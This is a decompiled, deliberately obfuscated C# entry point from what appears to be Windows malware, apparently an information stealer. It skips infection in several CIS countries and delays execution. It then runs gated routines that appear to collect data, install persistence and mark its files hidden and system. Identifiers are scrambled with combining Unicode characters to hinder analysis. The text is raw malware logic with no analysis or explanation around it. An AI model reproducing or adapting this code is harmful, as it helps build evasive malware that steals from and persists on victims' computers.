private static void Main() { if (!Class_84.\u032F\u0E47\u036F\u0343\u033C\u0305\u0309\u0355\u0353\u0362\u0315\u0331\u0020\u034E\u035E\u0347mxtxdsjuhndvlqiy\u0313\u0347\u0E47\u031A\u031D\u0343\u030B\u032F\u0E47\u0356\u0E47\u0340\u0303\u0020\u0348\u0349hgqeoiqsmultzltm) { string[] array = new string[] { "[Armenia]", "[Azerbaijan]", "[Belarus]", "[Kazakhstan]", "[Kyrgyzstan]", "[Moldova]", "[Russia]", "[Tajikistan]", "[Uzbekistan]", "[Ukraine]" }; for (int i = 0; i < array.Count <string>(); i++) { if (array[i] == Class_47.Country()) { Environment.Exit(0); } } } Thread.Sleep(Class_84.\u0331\u0364\u0347t\u0325a\u0329\u0358\u0340\u0304a\u0327\u0342\u0350\u0342\u0347vbsoryqufuelhrug\u0364\u030C\u0347\u0315\u0316\u035C\u034Fr\u0020\u034E\u035A\u035A\u031A\u035E\u0E47\u0324xqsmhtcpkisrgygk * 1000); if (Class_84.\u0340\u033A\u0362\u034D\u0322\u0348\u0322\u0020\u032A\u0356\u0335\u0320\u0E47\u035F\u0365\u0E47urcffapyhllejvvh\u0326\u033C\u0320\u0363\u0355\u034E\u0353\u036B\u033C\u0317\u0325\u0367\u030E\u0340\u0331\u0346ofmlsoyrefvyzfoq) { Class_46.pmethod_129(); } if (Class_84.\u035F\u0324\u0358\u0309\u035C\u0311\u036A\u036D\u0E47\u0339\u0303\u0313\u0347\u0020\u030C\u030Coyuihudjpxwkdgkx\u0359\u036B\u0332\u035D\u0335\u033C\u0366\u0E47\u0346\u0020\u0489\u0345\u0346\u0306\u0316\u033Arjnqspomwohgklvm) { Class_46.smethod_130(); } if (Class_84.\u0348\u0E47\u0340\u0020\u0320\u0308\u0349\u0332\u035A\u0315\u0345\u036B\u036F\u0020\u0350\u035Adisjjlklfefcyfvc\u0369\u0363\u033A\u0303\u034E\u0359\u030E\u0320\u0020\u0317\u0347\u0E47\u033D\u0E47\u0350\u031Fjjibrkqcbodxmgdg) { Class_24.NClass_0 nclass_ = new Class_24.NClass_0(); if (Class_92.pmethod_259()) { Class_92.smethod_260(); } Class_24.NClass_0 nclass_2 = nclass_; Task[] array2 = new Task[1]; array2[0] = new Task(new Action(Class_24.NClass_1.field_3.nmethod_4)); nclass_2.field_2 = array2; new Thread(new ThreadStart(nclass_.nmethod_1)).Start(); Class_51.pmethod_149(); } try { Class_47.Unblock(Class_75.\u0020\u0339\u0E47\u0020\u0331\u0306\u0363\u0301\u0313\u0342\u0E47\u036F\u0356\u0351\u0324\u0367ftjstwztujtxtvaj\u0316\u034B\u0339\u0356\u0E47\u035A\u0367\u0306\u0348\u0020\u0020\u0331\u031A\u0316\u035C\u032Eopsmlarbetcxggfj); } catch { } Class_82.tmethod_242(); if (!Class_84.\u0355\u0349\u0337\u033D\u0308\u0E47\u0308\u032C\u0E47\u0331\u034E\u032C\u0310\u0320s\u0355fdigcqesbhiigaee\u0344\u0360\u0020\u034D\u0359\u033C\u0E47\u0020\u035C\u036B\u033F\u0368\u034E\u033A\u0347\u0350gahbtcsvsbuaqvje && File.Exists(Class_47.\u0349\u0308t\u0324\u0329\u0306\u033Ae\u0340\u0341\u036B\u0351\u0E47c\u0363\u0363xrkhflctjjgrafhq\u036A\u0E47\u0302\u0368\u0020\u032C\u035E\u0349\u0359\u0020\u0020\u0489\u0333\u030C\u0347\u032Cdfodarkersxinukm + "\\oof" + Class_47.\u030C\u0360\u0352\u0330\u0020\u0345\u034D\u031F\u0317\u0020\u036F\u032F\u0335\u0303\u0020\u0348btjzcydnmobecrmu\u0E47\u0E47\u0363\u0E47r\u0367\u0323\u0347\u0331\u0347\u032C\u0348\u0332\u035F\u036B\u034Eplwrzxwpllzxvpwz)) { Class_24.field_0 = true; } if (!Class_24.field_0 && Class_84.\u0020\u0331\u0341\u0347\u0304\u0327\u0334\u032C\u0317\u035D\u030E\u0351\u0331\u0304\u0020\u0360mtmtdbpzapbbmygp\u0020\u0020\u0020\u0315\u0344\u032F\u0341\u0311\u0340\u0366\u0020\u0302t\u033C\u035B\u034Etfyuggdqskiihiqe) { Class_95.cmethod_264(); } if (!Class_24.field_0) { Class_53.GetCollection(); Class_81.xmethod_241(); if (Class_84.\u0E47\u0303\u034E\u0020\u033C\u031D\u0332\u0332\u035D\u0353\u0E47\u0349\u032E\u0342\u030F\u0489wphcwpkgyxbvyrtx\u033D\u030C\u0303\u0320\u033A\u033B\u033F\u036D\u0340\u0339\u0330\u030Dn\u030B\u0343\u0317llcbspktsvxvqtwp) { Class_75.install(); } if (Class_84.\u0312\u0363\u030D\u0349\u034F\u0345\u0E47\u032E\u0369\u0329\u0355\u0308\u0320\u035A\u0329\u0349ngvvukjkozgellfb\u035F\u036D\u0347\u032C\u0339\u0317\u0E47\u0020\u0355\u035A\u0306\u0317\u036B\u032D\u0347\u035Cntqccjcdelkcuofr) { Class_87.tmethod_252(Class_84.\u0342\u0352\u0341\u0020\u0E47\u0340\u0322\u0344\u0355\u032F\u035A\u0342\u0363\u0338\u0301\u0367kbraamkkqtqhtdau\u0363\u0314\u0369\u0333\u0360\u0329\u0020\u033B\u032F\u035C\u0300\u034B\u0317\u030D\u0363\u0308jovqfkfgmkngtiba); } if (Class_84.\u033F\u0301\u031C\u035A\u0328\u032E\u0367\u0324\u0355\u0E47\u0339\u0344\u0309\u033F\u0312ibnzxidndaraumiqy\u0330\u031F\u0368\u035B\u035C\u032F\u0315\u030B\u0339\u036B\u031A\u034D\u0320\u0322\u0341\u0315ctgxkanezkhzevwg) { Class_8.xmethod_11(); return; } } else if (Class_84.\u0E47\u0303\u034E\u0020\u033C\u031D\u0332\u0332\u035D\u0353\u0E47\u0349\u032E\u0342\u030F\u0489wphcwpkgyxbvyrtx\u033D\u030C\u0303\u0320\u033A\u033B\u033F\u036D\u0340\u0339\u0330\u030Dn\u030B\u0343\u0317llcbspktsvxvqtwp) { if (Class_84.\u0330\u031D\u035A\u0320\u036F\u0353\u0E47\u0489\u0343\u0020\u0360\u0020\u0349\u0E47\u0356\u0304bphbaeparcjvxixg\u035D\u0E47\u0347\u032C\u0331\u0331\u033F\u036D\u0358\u0318\u0020\u0301\u0356l\u034E\u036Behaqkzdjsqiftupt) { Class_12.set_hidden(); } if (Class_84.\u0368\u030F\u0345\u0350\u033At\u0339\u035B\u0020h\u0315\u0363\u0307\u0E47\u0347\u035Cyxeovnvyxbscxmtz\u035A\u032F\u0340\u034D\u0369\u0335\u034B\u0340\u036B\u0331\u0367\u0354\u0300\u0360\u033B\u0364lqhfdqogemlgdoty) { Class_12.set_system(); } if (Class_84.\u033F\u0301\u031C\u035A\u0328\u032E\u0367\u0324\u0355\u0E47\u0339\u0344\u0309\u033F\u0312ibnzxidndaraumiqy\u0330\u031F\u0368\u035B\u035C\u032F\u0315\u030B\u0339\u036B\u031A\u034D\u0320\u0322\u0341\u0315ctgxkanezkhzevwg) { Class_8.xmethod_11(); } } }